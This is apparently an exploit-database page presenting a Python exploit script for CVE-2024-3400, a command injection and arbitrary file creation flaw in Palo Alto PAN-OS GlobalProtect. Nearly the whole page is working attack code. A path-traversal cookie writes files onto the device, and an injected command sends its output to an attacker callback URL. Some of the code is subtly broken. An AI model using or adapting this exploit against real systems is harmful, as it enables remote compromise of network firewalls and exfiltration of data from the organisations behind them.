Palo alto panos< v11.1.2h3 command injection and arbitrary file creation Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2024-04-21 | Type : remote | Platform : linux_x86-64

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[+] Code ...

# Exploit Title: Palo Alto PAN-OS < v11.1.2-h3 - Command Injection and Arbitrary File Creation
# Date: 21 Apr 2024
# Exploit Author: Kr0ff
# Vendor Homepage: https://security.paloaltonetworks.com/CVE-2024-3400
# Software Link: -
# Version: PAN-OS 11.1 < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3
# PAN-OS 11.0 < 11.0.0-h3, < 11.0.1-h4, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1
# PAN-OS 10.2 < 10.2.0-h3, < 10.2.1-h2, < 10.2.2-h5, < 10.2.3-h13, < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1
# Tested on: Debian
# CVE : CVE-2024-3400

#!/usr/bin/env python3

import sys

try:
import argparse
import requests
except ImportError:
print("Missing dependencies, either requests or argparse not installed")
sys.exit(2)

# https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis
# https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/

def check_vuln(target: str, file: str) -> bool:
ret = False

uri = "/ssl-vpn/hipreport.esp"

s = requests.Session()
r = ""

headers = {
"User-Agent" : \
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", # Windows 10 Chrome 118.0.0.0
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": \
f"SESSID=../../../var/appweb/sslvpndocs/global-protect/portal/images/{file}"
}

headers_noCookie = {
"User-Agent" : \
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" # Windows 10 Chrome 118.0.0.0
}

if not "http://" or not "https://" in target:
target = "http://" + target
try:
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )
except requests.exceptions.Timeout or requests.ConnectionError as e:
print(f"Request timed out for \"HTTP\" !{e}")

print("Trying with \"HTTPS\"...")

target = "https://" + target
try:
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )
except requests.exceptions.Timeout or requests.ConnectionError as e:
print(f"Request timed out for \"HTTPS\"")
sys.exit(1)
else:
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )

if r.status_code == 200:
r = s.get( (target + f"/global-protect/portal/images/{file}"), verify=False, headers=headers_noCookie, timeout=10 )
if r.status_code == 403:
print("Target vulnerable to CVE-2024-3400")
ret = True
else:
return ret

return ret



def cmdexec(target: str, callback_url: str, payload: str) -> bool:
ret = False
p = ""

if " " in payload:
p = payload.replace(" ", "${IFS)")

uri = "/ssl-vpn/hipreport.esp"

headers = {
"User-Agent" : \
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", # Windows 10 Chrome 118.0.0.0
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": \
f"SESSID=../../../../opt/panlogs/tmp/device_telemetry/minute/attack782`{callback_url}?r=$({payload})`"

}

s = requests.Session()
r = ""

if not "http://" or not "https://" in target:
target = "http://" + target
try:
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )
except requests.exceptions.Timeout or requests.ConnectionError as e:
print(f"Request timed out for \"HTTP\" !{e}")

print("Trying with \"HTTPS\"...")

target = "https://" + target
try:
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )
except requests.exceptions.Timeout or requests.ConnectionError as e:
print(f"Request timed out for \"HTTPS\"")
sys.exit(1)
else:
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )

if not "Success" in r.text:
return ret

else:
ret = True

return ret

#Initilize parser for arguments
def argparser(selection=None):
parser = argparse.ArgumentParser( description='CVE-2024-3400 - Palo Alto OS Command Injection' )

subparser = parser.add_subparsers( help="Available modules", dest="module")

exploit_subp = subparser.add_parser( "exploit", help="Exploit module of script")
exploit_subp.add_argument( "-t", "--target",help="Target to send payload to", required=True )
exploit_subp.add_argument( "-p", "--payload", help="Payload to send (e.g: whoami)", required=True )
exploit_subp.add_argument( "-c", "--callbackurl", help="The callback url such as burp collaborator or similar", required=True )
#---------------------------------------
check_subp = subparser.add_parser( "check", help="Vulnerability check module of script" )
check_subp.add_argument( "-t", "--target", help="Target to check if vulnerable", required=True )
check_subp.add_argument( "-f", "--filename", help="Filename of the payload (e.g \"exploitCheck.exp\"", required=True )

args = parser.parse_args(selection)
args = parser.parse_args(args=None if sys.argv[1:] else ["-h"])

if args.module == "exploit":
cmdexec(args.target, args.callbackurl, args.payload)

if args.module == "check":
check_vuln(args.target, args.filename)

if __name__ == "__main__":
argparser()
print("Finished !")